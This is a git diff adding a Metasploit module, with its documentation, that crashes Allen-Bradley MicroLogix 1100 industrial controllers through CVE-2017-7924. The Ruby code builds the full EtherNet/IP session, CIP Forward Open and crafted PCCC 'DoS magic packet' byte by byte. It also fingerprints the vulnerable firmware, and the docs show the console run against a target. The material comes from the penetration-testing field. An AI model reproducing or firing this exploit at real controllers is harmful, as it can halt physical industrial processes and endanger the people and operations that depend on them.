diff --git a/documentation/modules/auxiliary/dos/scada/allen_bradley_pccc.md b/documentation/modules/auxiliary/dos/scada/allen_bradley_pccc.md new file mode 100644 index 0000000000..891532d946 --- /dev/null +++ b/documentation/modules/auxiliary/dos/scada/allen_bradley_pccc.md @@ -0,0 +1,36 @@ +## Vulnerable Application + + A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. + MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. + CVE-2017-7924 has been assigned to this vulnerability. + A CVSS v3 base score of 7.5 has been assigned. + +## Verification Steps + + 1. Do: `use auxiliary/dos/scada/allen_bradley_pccc` + 2. Do: `set RHOST=IP` where IP is the IP address of the target + 3. Do: `check` verify if target is vulnerable + 4. Do: `exploit` send DoS packet + +## Options + + 1. PORT: `set RPORT=44818` + +## Scenarios + + ``` +msf > use auxiliary/dos/scada/allen_bradley_pccc +msf auxiliary(dos/scada/allen_bradley_pccc) > set RHOST 172.27.248.194 +RHOST => 172.27.248.194 +msf auxiliary(dos/scada/allen_bradley_pccc) > check + +[*] 172.27.248.194:44818 - Product Name: 1763-L16BWA B/14.00 +[+] 172.27.248.194:44818 - The target is vulnerable. +msf auxiliary(dos/scada/allen_bradley_pccc) > exploit + +[*] 172.27.248.194:44818 - Ethernet/IP - Session created (id 0xaf79a666) +[*] 172.27.248.194:44818 - CIP Connection Manager - Forward Open Success (Connection id 0x66a66e85) +[*] 172.27.248.194:44818 - Sending PCCC DoS magic packet... +[*] Auxiliary module execution completed +``` + diff --git a/modules/auxiliary/dos/scada/allen_bradley_pccc.rb b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb new file mode 100644 index 0000000000..588b947a17 --- /dev/null +++ b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb @@ -0,0 +1,209 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Udp + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super( + 'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)", + 'Description' => %q{ + A remote, unauthenticated attacker could send a single, specially crafted + Programmable Controller Communication Commands (PCCC) packet to the controller + that could potentially cause the controller to enter a DoS condition. + MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and + 1763-L16DWD. + CVE-2017-7924 has been assigned to this vulnerability. + A CVSS v3 base score of 7.5 has been assigned. + }, + 'Author' => [ + 'José Diogo Monteiro ', + 'Luis Rosa ', + 'Miguel Borges de Freitas ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-7924' ], + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-138-03' ], + [ 'URL', 'http://dl.acm.org/citation.cfm?doid=3174776.3174780'] + ]) + register_options([Opt::RPORT(44818),]) + end + + VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD'] + VULN_FW_VERSION_MIN = 14.00 + VULN_FW_VERSION_MAX = 16.00 + def le_pp(s) + "0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}" + end + + def enip_register_session_pkt + # ENIP encapsulation Header + "\x65\x00" + # Command register session (0x0065) + "\x04\x00" + # Lenght (4) + "\x00\x00\x00\x00" + # Session handle (0x00000000) + "\x00\x00\x00\x00" + # Status success (0x00000000) + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) + "\x00\x00\x00\x00" + # Options (0x00000000) + # Protocol Specific Data + "\x01\x00" + # Protocol version (1) + "\x00\x00" # Option flags (0x00000000) + end + + def enip_ccm_forward_open_pkt(enip_session_handle) + # ENIP encapsulation header + "\x6f\x00" + # Send RR data (0x006f) + "\x3e\x00" + # Lenght (63) + enip_session_handle + # Session handle (retrieved from register session) + "\x00\x00\x00\x00" + # Status success (0x00000000) + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) + "\x00\x00\x00\x00" + # Options (0x00000000) + # Command specific data + "\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000) + "\x00\x00" + # Timeout (0) + "\x02\x00" + # Item count (2) + "\x00\x00" + # Item 1 type id (Null address item) + "\x00\x00" + # Item 1 length (0) + "\xb2\x00" + # Item 2 type id (Unconnected data item) + "\x2e\x00" + # Item 2 length (46) + # CIP Connection manager specific data + "\x54\x02\x20\x06\x24\x01\x0a\xf0" + + "\x00\x00\x00\x00\x52\xac\xda\x89" + + "\x55\x0c\x35\x01\xe1\x08\xb0\x60" + + "\x07\x00\x00\x00\x00\x40\x00\x00" + + "\x12\x43\x00\x40\x00\x00\x12\x43" + + "\xa3\x02\x20\x02\x24\x01" + end + + # Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08) + def pccc_dos_pkt(enip_session_id, cip_connection_id) + # ENIP encapsulation header + "\x70\x00" + # Send unit data (0x0070) + "\x2d\x00" + # Length + enip_session_id + # ENIP session handle (obtained from enip register session) + "\x00\x00\x00\x00" + # Status Success + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context + "\x00\x00\x00\x00" + # Options + # Command Specific data + "\x00\x00\x00\x00" + # Interface handle (CIP) + "\x00\x00" + # Timeout (0) + "\x02\x00" + # Item count + "\xa1\x00" + # Item 1 - Type ID (Connected address item) + "\x04\x00" + # Item 1 - Length (4) + cip_connection_id + # CIP connection ID (obtained from CIP CM packet) + "\xb1\x00" + # Item 2 - Type ID (Connected data item) + "\x19\x00" + # Item 2 - Length (25) + "\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet + # PCCC Command data + "\x4b" + # Execute PCCC (0x4b) + "\x02\x20\x67\x24\x01" + # no idea what this is + "\x07" + # Requestor ID length + "\x35\x01" + # CIP vendor ID + "\xe1\x08\xb0\x60" + # CIP serial number + "\x0f" + # Command code + "\x00" + # Status (success 0x00) + "\x2a\x58" + # Transaction code + "\xa2" + # Function code (Protected typed logical read with three address fields) + "\x00" + # Byte size + "\x05" + # File number + "\x47" + # File type + "\x00" + # Element number + "\x00" # Sub-element number + end + + def enip_list_identify_pkt + "\x63\x00" + # List Identity + "\x00\x00" + # Length + "\x00\x00\x00\x00" + # Session Handle + "\x00\x00\x00\x00" + # Status: Success + "\x00\x00" + # Max Response Delay + "\x00\x00\xc1\xde\xbe\xd1" + # Sender Context + "\x00\x00\x00\x00" # Options + end + + + def check + + connect_udp + + udp_sock.put(enip_list_identify_pkt) + res = udp_sock.recvfrom(90) + + disconnect_udp + + unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00" + print_error "EtherNet/IP Packet Not Valid" + return Exploit::CheckCode::Unsupported + end + + revision = res[0][54,2] + product_name_len = res[0][62].unpack("c*")[0] + + + product_name = res[0][63,product_name_len] + print_status "Product Name: #{product_name}" + + array = product_name.split(' ') + plc_model = array[0] + + return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e } + + firmware = array[1] + begin + firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f + if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX + return Exploit::CheckCode::Vulnerable + elsif firmware_nbr < VULN_FW_VERSION_MIN + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + rescue + return Exploit::CheckCode::Unknown + end + + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + + def run + connect + # Register Ethernet/IP session + sock.put(enip_register_session_pkt) + enip_register_session_ans = sock.get_once + unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00" + print_error "Ethernet/IP - Failed to create session." + disconnect + return + end + enip_session_id = enip_register_session_ans[4, 4] + print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})" + + # Ethernet/IP CCM Forward Open + sock.put(enip_ccm_forward_open_pkt(enip_session_id)) + enip_ccm_forward_open_ans = sock.get_once + unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00" + print_error "CIP Connection Manager - Failed Forward Open request" + disconnect + return + end + cip_connection_id = enip_ccm_forward_open_ans[44, 4] + print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})" + + # PCCC DoS packet + print_status "Sending PCCC DoS magic packet..." + sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id)) + + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end +end